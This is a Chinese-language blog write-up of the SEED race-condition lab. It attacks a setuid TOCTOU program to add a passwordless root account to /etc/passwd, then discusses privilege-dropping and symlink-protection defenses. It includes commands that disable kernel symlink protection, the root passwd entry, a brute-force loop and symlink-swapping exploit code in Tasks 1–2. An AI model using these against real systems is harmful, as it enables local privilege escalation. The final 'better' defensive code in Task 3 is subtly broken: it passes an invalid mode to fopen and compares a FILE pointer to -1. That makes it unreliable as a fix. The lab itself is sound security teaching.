信息安全 SEED Lab7 Race Condition Vulnerability Lab

整个实验主要是实施竞态攻击。先用下面的命令禁止使用全局可写目录的符号连接

// On Ubuntu 12.04, use the following:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0

// On Ubuntu 16.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0

有漏洞的示例代码如下:

/* vulp.c */
#include <stdio.h>
#include<unistd.h>

int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;

    /* get user input */
    scanf("%50s", buffer );

    if(!access(fn, W_OK)){
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else 
        printf("No permission \n");

    return 0;
}

编译并设为root  set-uid 程序

gcc -o vulp vulp.c
sudo chown root vulp
sudo chmod 4755 vulp

 

1. Task 1

由于后面要用竞态攻击来向系统添加新的拥有root权限的用户,这就涉及到到在/etc/passwd文件中新增内容,这个部分主要是确定添加的内容。

root用户对应的内容为,第一个字段为用户名,第二个字段为密码的哈希,如为x则表示密码在/etc/shadow文件中,其他就不细说了。

root:x:0:0:root:/root:/bin/bash

空密码的哈希值为 U6aMy0wojraho,所以要添加的一行如下,将其保存到passwd_input文件中

test:U6aMy0wojraho:0:0:test:/root:/bin/bash

同时将这一行添加到/etc/passwd文件的最后,尝试用test用户进行登录,可以发现可以无密码登录,且有root权限。

最后要记得将那一行从/etc/passwd中删去,后面我们将通过竞态攻击来向/etc/passwd增添内容

 

2. Task 2

2.1. Task 2.A

这部分主要是实施竞态攻击来向系统添加新的拥有root权限的用户。

要添加用户,必须在/etc/passwd中添加新的一行。其中的密码是真实密码的哈希值。空密码的哈希值为 U6aMy0wojraho,所以要添加的一行如下,将其保存到passwd_input文件中

新建一个脚本,不停地运行上面的有漏洞的程序,并每次用ls -l /etc/passwd 对比初始的 来判断文件内容是否发送变化,即攻击是否成功。内容如下:

#!/bin/bash 
CHECK_FILE="ls -l /etc/passwd" 
old=$($CHECK_FILE) 
new=$($CHECK_FILE) 
while [ "$old" == "$new" ]
do 
	./vulp < passwd_input 
	new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

用来进行攻击的代码如下:

#include <unistd.h>

int main() {
    while(1) {
        unlink("/tmp/XYZ");
        symlink("/dev/null", "/tmp/XYZ");
        usleep(1000);

        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(1000);
    }

    return 0;
}

一起运行,等几秒可以发现成功修改了/etc/passwd文件

多尝试几次,发现也有运行很久都没攻击成功的时候,此时查看/tmp/XYZ信息,可以发现owner为root, 攻击程序是普通权限,所以没有权限去修改/tmp/XYZ指向,造成攻击失败。

如出现上述情况,可以删掉这个文件再尝试。其中攻击代码中加的usleep也是为了避免这种情况出现。

 

2.1. Task 2.B

这个部分应该是新增,它讨论了上面攻击失败时/tmp/XYZ所有者变成root的原因。

原因就是攻击程序本身也存在竞态漏洞,非常讽刺。unlink和symlink是两个调用,如果在中间发生进程切换,这时被攻击的进程刚好运行使用a+标志的fopen时,/tmp/XYZ文件并不存在,因此会创建 /tmp/XYZ,用户为euid, 也就是root。此后攻击代码只有普通权限,无法修改root的文件的符号指向,所以攻击失败。

根本原因是unlink 和 symlink被分开了,其实他们应该是一个原子性的整体。

实验中的示例代码如下,但必须注意这个代码其实存在一样的问题,我们需要对其进行修改。

#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main()
{
    while(1) {
        unsigned int flags = RENAME_EXCHANGE;
        unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
        unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
        syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    }

    return 0;
}

修改后的代码如下, 即开始处先创建两个符号链接分别指向/dev/null 和 /etc/passwd,然后每次循环让他们互相交换两次即可。

#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main()
{
    unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
    unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
    while(1) {
        unsigned int flags = RENAME_EXCHANGE;
        syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
        syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    }

    return 0;
}

修改之后,多次尝试都能很快攻击成功,不会出现上面owner被改成root导致攻击失败的情况。

 

3. Task 3

这部分主要是实施一个防御措施,即在open和write文件时临时关闭特权,之后再恢复。

具体代码如下:

/* vulp.c */
#include <stdio.h>
#include<unistd.h>

int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;

    /* get user input */
    scanf("%50s", buffer );

    uid_t real_uid = getuid();
    uid_t eff_uid = geteuid();
    seteuid(real_uid);

    if(!access(fn, W_OK)){
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else 
        printf("No permission \n");

    seteuid(eff_uid);
    
    return 0;
}

攻击结果如下,可以看到一堆段错误,因为在攻击成功时会用普通权限去写入/etc/passwd,权限不够,所以段错误。

更好的是改成下面的代码,因为在fopen函数前effective uid 已经等于 real uid, 所以就不再需要access函数进行判断了。

/* vulp.c */
#include <stdio.h>
#include<unistd.h>

int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;

    /* get user input */
    scanf("%50s", buffer );

    uid_t real_uid = getuid();
    uid_t eff_uid = geteuid();
    seteuid(real_uid);

    fp = fopen(fn, O_WRITE);
    if (fp != -1) {
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else 
        printf("No permission \n");

    seteuid(eff_uid);

    return 0;
}

 

4. Task 4

这部分主要是打开系统的粘滞符号链接保护,再进行攻击。

// On Ubuntu 12.04, use the following:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1

// On Ubuntu 16.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=1

攻击结果如下,运行很久之后,可以看到报了很多的段错误,且攻击失败,文件内容未被修改。

这个防御措施的原理如下:

如果一个目录的other权限设置有写和执行权限的话,那么别的用户也是可以在该目录下进行创建文件和删除文件等操作。

/tmp 是一个大家都能读写删除文件的文件夹,其所有者为root, 在没有粘滞比特位的情况下,它的 other 权限为 rwx。这时一个用户可以删除另一个用户在/tmp下的文件,这是有问题的。

粘滞位权限便是针对此种情况设置,当⽬录被设置了粘滞位权限以后,即便⽤户对该⽬录有写⼊权限,也不能删除该⽬录中其他⽤户的⽂件数据,⽽是只有该⽂件的所有者和root⽤户才有权将其删除。设置了粘滞位之后,正好可以保持⼀种动态的平衡:允许各⽤户在⽬录中任意写⼊、删除数据,但是禁⽌随意删除其他⽤户的数据。

对于全局可写的粘滞目录,开启保护后,其中的符号链接只有在符号链接的所有者和 (目录的所有者,进程的有效ID) 其中一个 一样的时候,才是有效的,否则系统不让使用。

在实验里,进程有效ID为root, 目录所有者为root,符号链接所有者为seed(非root), 都不匹配,所以没有权限使用,因此报段错误程序终止。

  • 5
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值